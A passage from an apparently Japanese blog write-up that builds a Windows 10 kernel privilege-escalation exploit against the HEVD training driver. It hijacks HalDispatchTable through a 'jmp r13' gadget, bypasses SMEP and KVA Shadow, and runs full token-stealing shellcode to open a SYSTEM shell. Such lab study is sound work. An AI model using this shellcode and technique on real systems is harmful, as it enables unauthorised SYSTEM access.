NtQueryIntervalProfileを呼び出す
NtQueryIntervalProfileでブレークしたら、レジスタの値を適当な値に書き換えて処理を続行する
HaliQuerySystemInformationでブレークしたら、3.で設定したレジスタの値が残っているか確認する
WinDbg内でブレークポイントをセットします。
1: kd> bp nt!NtQueryIntervalProfile
1: kd> bp nt!HaliQuerySystemInformation
以下のコードでNtQueryIntervalProfileを呼び出します。
HMODULE ntdll = GetModuleHandle("ntdll");
FARPROC ntQueryIntervalProfileFunc = GetProcAddress(ntdll, "NtQueryIntervalProfile");
ULONG dummy = 0;
ntQueryIntervalProfileFunc(2, &dummy);
コードを実行し、期待通りブレークすることを確認します。
Breakpoint 1 hit
nt!NtQueryIntervalProfile:
fffff806`08134430 48895c2408 mov qword ptr [rsp+8],rbx
書き換えても動作に影響しなさそうなレジスタ(引数や制御に使われているもの以外)を書き換えます。
1: kd> r rax=4141414141414141
1: kd> r rbx=4242424242424242
1: kd> r rsi=4343434343434343
1: kd> r rdi=4444444444444444
1: kd> r r8=4545454545454545
1: kd> r r9=4646464646464646
1: kd> r r10=4747474747474747
1: kd> r r11=4848484848484848
1: kd> r r12=4949494949494949
1: kd> r r13=5050505050505050
1: kd> r r14=5151515151515151
1: kd> r r15=5252525252525252
処理を続行し、HaliQuerySystemInformationでブレークします。
Breakpoint 2 hit
nt!HaliQuerySystemInformation:
fffff806`08392ef0 4055 push rbp
このときのレジスタの値を確認し、制御可能なレジスタを特定します。
1: kd> r
rax=fffff80608392ef0 rbx=000000ae55dbfeb0 rcx=0000000000000001
rdx=0000000000000018 rsi=4343434343434343 rdi=4444444444444401
rip=fffff80608392ef0 rsp=fffffd822daef428 rbp=fffffd822daef540
r8=fffffd822daef460 r9=fffffd822daef490 r10=fffff80608392ef0
r11=0000000000000000 r12=4949494949494949 r13=5050505050505050
r14=5151515151515151 r15=5252525252525252
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
nt!HaliQuerySystemInformation:
fffff806`08392ef0 4055 push rbp
上記の結果から、rsi, r12, r13, r14, r15のレジスタの値がユーザモードから制御可能であることが特定できます。
R13レジスタに値をセットする
上記のレジスタのうちから、カーネル内にjmp命令のROPガジェットが存在しているものを選択します。今回はr13を使用することにします。
C言語コードから直接的にレジスタを操作することはできないため、アセンブリ言語でレジスタに値をセットする処理を書く必要があります。
以下の通り、アセンブリ言語で第1引数の値をR13レジスタにセットする関数を実装しました。
BITS 64
global SetR13
section .text
SetR13:
mov r13, rcx
ret
SetR13.asm
C言語ソースコードへの埋め込み
Visual Studioでは、現在のところx64アーキテクチャではインラインアセンブリ(__asm)機能のサポートがありません。そのため、Exploit内で上記の関数を呼び出すのには工夫が必要になります。
extern宣言を使用してリンクするのが本来のやり方だと思いますが、コンパイルの設定が面倒なので、ここではバイナリコードを実行可能な領域にコピーして実行する方法を取ります。
上記のアセンブリコードはnasmでアセンブルすることができます。
nasm.exe -f bin -o .\SetR13.bin .\SetR13.asm
アセンブルしたバイナリをC言語コードに埋め込める形式に変換するPythonスクリプトを書きました。変換すると以下のようになります。
> python hex.py SetR13.bin
// size: 4
unsigned char rawShellcode[] = {
0x49, 0x89, 0xcd, 0xc3
};
SetR13をC言語ソースコードに埋め込み、以下のようにシェルコードのアドレスを引数に指定して呼び出します。
unsigned char rawSetR13[] = {
0x49, 0x89, 0xcd, 0xc3
};
PVOID executableSetR13 = AllocExecutableCode(rawSetR13, sizeof(rawSetR13));
((void (*)(PVOID))executableSetR13)(shellcode);
これで、シェルコードのアドレスがR13レジスタにセットされた状態になります。
カーネルベースアドレスからのオフセットを確認
ArbitraryWriteで関数ポインタを改ざんするためには、カーネルベースアドレスからのHalDispatchTable+0x8とROPガジェット(jmp r13)のオフセットを確認する必要があります。
nt!HalDispatchTable+0x8のオフセットは以下のようにWinDbgで確認することができます。
1: kd> ? nt!HalDispatchTable+0x8 - nt
Evaluate expression: 12585576 = 00000000`00c00a68
nt!HalDispatchTable+0x8のオフセット: 0xc00a68
ROPガジェット(jmp r13) のオフセットはrp++が出力したアドレスからベースアドレス(0x140000000)を減算した値です。
0x14080d5db: jmp r13 ; (1 found)
- ROPガジェット(
jmp r13)のオフセット: 0x80d5db
これで必要な準備が揃いました。
ROPガジェットへのジャンプ
ArbitraryWriteでHalDispatchTable+0x8を書き換え、ROPガジェット(jmp r13)が実行されるように関数ポインタを改ざんします。
const size_t HalDispatchTable8_Offset = 0xc00a68;
PVOID halDispatchTable8_Address = (PVOID)((uintptr_t)kernelBaseAddress + HalDispatchTable8_Offset);
const size_t JmpR13_Offset = 0x80d5db;
PVOID jmpR13_Address = (PVOID)((uintptr_t)kernelBaseAddress + JmpR13_Offset);
ArbitraryWrite(hHevd, halDispatchTable8_Address, &jmpR13_Address);
これで、Kernel-mode Address Checkをバイパスし、制御フローを奪取できるはずです。
WinDbgでブレークポイントを仕掛けつつExploitを実行します。
ROPガジェット(jmp r13)にブレークポイントを仕掛けます。
1: kd> bp nt+0x80d5db
NtQueryIntervalProfileを呼び出し、関数ポインタの呼び出しをトリガーします。
ULONG dummy = 0;
ntQueryIntervalProfileFunc(2, &dummy);
先程仕掛けたブレークポイントにヒットします。ROPガジェットの呼び出しに成功しました。
Breakpoint 0 hit
nt!CmpLinkHiveToMaster+0x1a037b:
fffff800`81c0d5db 4bffe5 jmp r13
この状態でR13レジスタを確認すると、意図した通りシェルコードのアドレス(280bb610000)がセットされていることが分かります。
0: kd> r
rax=fffff80081c0d5db rbx=000000d4216ffb20 rcx=0000000000000001
rdx=0000000000000018 rsi=0000000000000000 rdi=0000000000000001
rip=fffff80081c0d5db rsp=fffff283a770f428 rbp=fffff283a770f540
r8=fffff283a770f460 r9=fffff283a770f490 r10=fffff80081c0d5db
r11=0000000000000000 r12=0000000000000000 r13=00000280bb610000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
nt!CmpLinkHiveToMaster+0x1a037b:
fffff800`81c0d5db 4bffe5 jmp r13 {00000280`bb610000}
0: kd> u r13 L4
00000280`bb610000 90 nop
00000280`bb610001 90 nop
00000280`bb610002 90 nop
00000280`bb610003 cc int 3
任意コード実行
処理を続行すると、ダミーの何もしないシェルコード(nop/nop/nop/int3)が実行されます。
0: kd> g
Break instruction exception - code 80000003 (first chance)
00000280`bb610003 cc int 3
nopとint3だけのコードなので、ブレークする以外には特に何も起こりません。しかし、通常の状態であれば、セキュリティ機構によってint3に到達する前にBSODが引き起こされているはずです。
エラーなくnopとint3をカーネルモードで実行できたということは、ここまで行ってきたセキュリティ機構のバイパスが意図通り機能していることを示しています。
これで任意コード実行が達成できたので、後はカーネルモードで特権昇格するシェルコードをプログラミングするだけです。
4. Token Stealシェルコードの実行
今回のExploitではToken Stealシェルコードを使用します。
Token Stealシェルコードは、任意のプロセスの権限をSYSTEM権限に昇格させるシェルコードです。このシェルコードは、任意のプロセスのトークンをSYSTEMプロセスのトークンで置き換えることで特権昇格を実現します。
Token Stealシェルコードの処理
以下は、今回作成したToken Stealシェルコードが実行する処理の概要です。
GSレジスタに格納された_KPCRから、いくつかのポインタを辿り、_EPROCESSのActiveProcessLinksへのポインタを取得する
GS[0x180] → _KPRCB
_KPRCB + 0x8 → CurrentThread
CurrentThread + 0xB8 → CurrentProcess
CurrentProcess + 0x448 → ActiveProcessLinks
SYSTEMプロセスが見つかるまでActiveProcessLinksを探索する
- 対象プロセスのUniqueProcessIdが0x04と一致しているか確認する
- UniqueProcessId != 0x04:
- SYSTEM以外のプロセス。次のプロセスへのポインタを取得し、再度UniqueProcessIdのチェックを実施
- UniqueProcessId == 0x04:
- SYSTEMプロセス発見。SYSTEMプロセスのトークンを取得し、その値でCurrentProcessのトークンを上書きして処理終了
上記の処理がカーネルモードで実行されると、現在のスレッドで実行中のプロセスがSYSTEM権限に昇格します。
Token Stealシェルコードの実装
以下は、上記の処理をアセンブリ言語で実装したものです。
BITS 64
global _start
section .text
SYSTEM_PID equ 0x04
Prcb equ 0x180
CurrentThread equ 0x08
ApcState equ 0x98
Process equ 0x20
UniqueProcessId equ 0x440
ActiveProcessLinks equ 0x448
Token equ 0x4b8
_start:
mov rdx, qword [gs:Prcb + CurrentThread]
mov r8, [rdx + ApcState + Process]
mov rcx, [r8 + ActiveProcessLinks]
.loop_find_system_proc:
mov rdx, [rcx - ActiveProcessLinks + UniqueProcessId]
cmp rdx, SYSTEM_PID
jz .found_system
mov rcx, [rcx]
jmp .loop_find_system_proc
.found_system:
mov rax, [rcx - ActiveProcessLinks + Token]
and al, 0xF0
mov [r8 + Token], rax
xor r13, r13
ret
TokenSteal.asm
Exploitに埋め込む
SetR13.asmの際と同様に、Token StealシェルコードをアセンブルしてC言語ソースコードの中に埋め込みます。
nasm.exe -f bin -o .\TokenSteal.bin .\TokenSteal.asm
> python hex.py TokenSteal.bin
// size: 55
unsigned char rawShellcode[] = {
0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,
0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,
0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,
0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,
0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3
};
ダミーのシェルコードをTokenStealシェルコードに差し替えます。
unsigned char rawShellcode[] = {
0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,
0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,
0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,
0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,
0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3
};
PVOID executableShellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));
printf("[*] Executable shellcode: %p\n", executableShellcode);
これで、カーネルモードでToken Stealシェルコードが実行されるようになるはずです。
特権昇格後の処理
現在のExploitでは、Token Stealシェルコードによってプロセスが特権昇格した後、そのまま何もせずにプログラムが終了してしまいます。
特権昇格後の処理として、cmd.exeを子プロセスとして立ち上げるコードを追加します。
system("start cmd.exe");
これで、特権昇格が完了した後、SYSTEM権限で新たなシェルが立ち上がるはずです。
Token Stealシェルコードの実行
Exploitを実行し、意図通りに機能することを確認します。

Exploitを実行すると…

SYSTEM権限で新しいシェルが起動しました。
特権昇格成功です。
KERNEL SECURITY CHECK FAILURE
しかし、Exploitを実行後、少し時間が経つとBSODが発生してしまいます。

Stop codeはKERNEL_SECURITY_CHECK_FAILUREです。
このStop codeは、Windowsのカーネル改ざん検知機能(Kernel Patch Protection)がカーネルの改ざんを検知した際に表示するStop codeの一つです。つまり、上記のBSODは、Exploitによる改ざんを検知された結果として引き起こされた可能性があります。
5. カーネル状態の復元
最後に、Exploit後の後片付けとして、カーネル状態の復元を行います。
Exploitの途中で書き換えたカーネル空間のデータは以下の2つです。
- シェルコードのPML4E
HalDispatchTable+0x8
シェルコードのPML4Eについては、途中でオリジナルの値をリークしているので、その値をシェルコードの実行後に再セットすれば良さそうです。
ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &originalPml4Shellcode_Entry);
現在のコードでは、HalDispatchTable+0x8の元の値をリークさせずに上書きしてしまっています。元の値が分からないため、上書き前にArbitraryReadで元の値をリークするコードを追加します。
PVOID originalHalDispatchTable8 = ArbitraryRead(hHevd, halDispatchTable8_Address);
printf("[*] Leaked HalDispatchTable+0x8: %p\n", originalHalDispatchTable8);
シェルコードの実行後、ArbitraryWriteでHalDispatchTable+0x8に元の値を再セットする処理を追加します。
ArbitraryWrite(hHevd, halDispatchTable8_Address, &originalHalDispatchTable8);
上記の変更を加えることで、Exploit実行後にBSODが発生しなくなります。
これでExploitは完成です。
Exploit Code
以下のコードは、本記事で作成したExploit Codeのmain関数です。
int main(void)
{
HANDLE hHevd = GetHevdDeviceHandle();
PVOID kernelBaseAddress = GetKernelBaseAddress();
unsigned char rawShellcode[] = {
0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,
0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,
0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,
0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,
0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3
};
PVOID shellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));
unsigned char rawSetR13[] = {
0x49, 0x89, 0xcd, 0xc3
};
PVOID executableSetR13 = AllocExecutableCode(rawSetR13, sizeof(rawSetR13));
const size_t MiGetPteAddress13_Offset = 0x26b573;
PVOID miGetPteAddress13_Address = (PVOID)((uintptr_t)kernelBaseAddress + MiGetPteAddress13_Offset);
PVOID pteVirtualAddress = ArbitraryRead(hHevd, miGetPteAddress13_Address);
unsigned int pml4SelfRef_Index = ExtractPml4Index(pteVirtualAddress);
unsigned int pml4Shellcode_Index = ExtractPml4Index(shellcode);
PVOID pml4Shellcode_VirtualAddress = CalculatePml4VirtualAddress(pml4SelfRef_Index, pml4Shellcode_Index);
uintptr_t originalPml4Shellcode_Entry = (uintptr_t)ArbitraryRead(hHevd, pml4Shellcode_VirtualAddress);
uintptr_t modifiedPml4Shellcode_Entry = ModifyPml4EntryForKernelMode(originalPml4Shellcode_Entry);
ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &modifiedPml4Shellcode_Entry);
const size_t HalDispatchTable8_Offset = 0xc00a68;
PVOID halDispatchTable8_Address = (PVOID)((uintptr_t)kernelBaseAddress + HalDispatchTable8_Offset);
PVOID originalHalDispatchTable8 = ArbitraryRead(hHevd, halDispatchTable8_Address);
const size_t JmpR13_Offset = 0x80d5db;
PVOID jmpR13_Address = (PVOID)((uintptr_t)kernelBaseAddress + JmpR13_Offset);
ArbitraryWrite(hHevd, halDispatchTable8_Address, &jmpR13_Address);
HMODULE ntdll = GetModuleHandle("ntdll");
FARPROC ntQueryIntervalProfileFunc = GetProcAddress(ntdll, "NtQueryIntervalProfile");
ULONG dummy = 0;
((void (*)(PVOID))executableSetR13)(shellcode);
ntQueryIntervalProfileFunc(2, &dummy);
ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &originalPml4Shellcode_Entry);
ArbitraryWrite(hHevd, halDispatchTable8_Address, &originalHalDispatchTable8);
system("start cmd.exe");
return 0;
}
ArbitraryWriteやArbitraryReadの関数定義など、ここに含まれていないExploit Codeの全体は以下のGitHubリポジトリにアップロードしています。
github.com
おわりに
今回の記事は、EXP-401/AWEのシラバスの中から「5 Driver Callback Overwrite」関連のキーワード(※)を拾って、それをHEVDというテーマで一本にまとめ直したものになります。
※ SMEP, KVA Shadow, PML4 Self-Reference Entry Randomization, Token Stealingなど
ここ数年、OffSec社の資格を取るのにハマっていて、2022年7月にはOSCE3を取得しました。
OSCE3の次といえばOSEEしかないだろう、ということで、最近はEXP-401/AWEへ向けて自己学習を進めています。
そんな予習の流れで書いた今回のExploitですが、書きながら自分自身がこのExploitに対して思ったことと、Windows 11をはじめとした最新の環境ではKernel Exploitはどうなっているのか、という話を最後に書いて締めようと思います。
この記事のKernel Exploit
Kernel Exploitを書く際は、たいていの場合、まず任意カーネルアドレスの読み書きプリミティブ(Read/Write Primitive)を実現することを目指します。そして、Read/Write Primitiveが手に入った時点で、そこから先はいわば「やるだけ」の状態になります。任意カーネルアドレスを読み書きできてしまえば、その先のSYSTEM権限を取る作業は脆弱性に依存しない汎用的な処理になるので、一度やったことがあれば、同じことを繰り返すだけになるからです。
改めて振り返ると、今回題材にした任意メモリ上書きの脆弱性は、IOCTLを呼ぶだけでRead/Write Primitiveが手に入るという、HEVDの中でも最も強力な前提を提供してくれるものでした。通常のKernel ExploitにおけるゴールであるRead/Write Primitiveが、最初から機能として用意された状態でのスタートです。そういう意味では、この記事で説明したのは「Windows 10、KVA Shadow有効、KASLRバイパス済み(※)、Read/Write Primitive構築済み」という前提から先の、汎用的に使える"やるだけ"の部分だったとも言えます。
※ 今回はMedium IntegrityなのでWin32 APIを呼んだだけでしたが
それでも、ここに至るまでにバイパスすべきセキュリティ機構はSMEP、KVA Shadow、PML4 Self-Reference Entry Randomization、Kernel-mode Address Checkと多岐にわたっていて、ページングやメモリ保護に関する知識もそれなりに要求されました。カーネルのセキュリティが歴史的に積み重ねで強化されてきた結果、現代のKernel Exploitでは"やるだけ"の部分でも結構な前提知識が必要になっている。そのあたりが、Kernel Exploitの取っ付きづらさなのかもしれません。
現代的なKernel Exploit
もっとも、今回のExploitがこれだけ多くのセキュリティ機構のバイパスを要したのは、SYSTEM権限への昇格を「シェルコードのカーネルモード実行」という経路で達成したからです。実は現代的なKernel Exploitでは、この経路自体があまり主流ではありません。記事前半で触れた通り、Windows 11ではVBS/HVCIがデフォルトで有効化されていますが、VBS/HVCIが有効な環境ではそもそも署名されていないカーネルモードコードを実行できないので、シェルコードを動かすという経路自体が成立しないようになっています。
代わりに主流になっているのは、カーネルデータの最小限の書き換えだけで特権昇格を達成する、いわゆる「Data-only Attack」と呼ばれる手法です。具体的には、Read/Write Primitiveが手に入った時点で、現在のプロセスの _EPROCESS->Token をSYSTEMプロセスのトークンの値で直接書き換えてしまう方法です。今回シェルコードの中で実装したToken Stealingを、シェルコードを介さずに、データの書き換えだけで完結させるイメージですね。
つまり、今回の経路は、セキュリティ機構のバイパスを学ぶ題材としては有用ですが、実際の攻撃者はこんなに回りくどいやり方はあまり選ばないかもしれません。
とはいえ、こうした細々したセキュリティ機構をひとつずつ調べて、ひとつずつ越えていく作業自体は、自分にとっては純粋に楽しい時間でした。
この記事が何かの役に立てば嬉しいです。
参考